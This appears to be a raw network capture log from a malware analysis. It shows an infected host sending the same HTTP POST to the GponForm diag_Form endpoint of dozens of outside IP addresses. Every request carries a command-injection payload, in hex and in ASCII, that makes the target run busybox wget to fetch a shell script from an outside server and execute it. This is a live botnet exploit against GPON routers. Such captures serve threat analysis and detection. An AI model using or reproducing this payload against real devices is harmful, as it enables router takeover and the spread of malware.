Mar 21, 2024 05:25:10.960449934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	35370	118.238.25.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960472107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	35618	118.58.172.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960494041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	39596	5.10.241.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960509062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	45322	178.138.79.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960520983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	49102	37.113.180.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960552931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	39566	37.90.79.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960586071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	58896	118.251.129.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960602045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	49388	79.8.213.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960609913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	33202	42.99.132.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960647106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	58010	79.255.247.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960705996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	50202	109.160.104.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960717916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	42696	42.55.177.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960740089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	54758	79.251.5.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960762978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	36914	118.20.226.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960777044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	58980	212.207.154.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960804939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	37266	212.43.103.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960808039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	35778	109.7.67.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960820913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	34832	37.100.161.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960850954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	35714	212.243.72.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960891962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	52846	94.180.48.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960912943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	44860	5.176.16.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960967064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	39960	37.171.123.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960999966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	54284	178.115.186.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961009979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	39940	118.251.164.74	443

Timestamp	Bytes transferred	Direction	Data
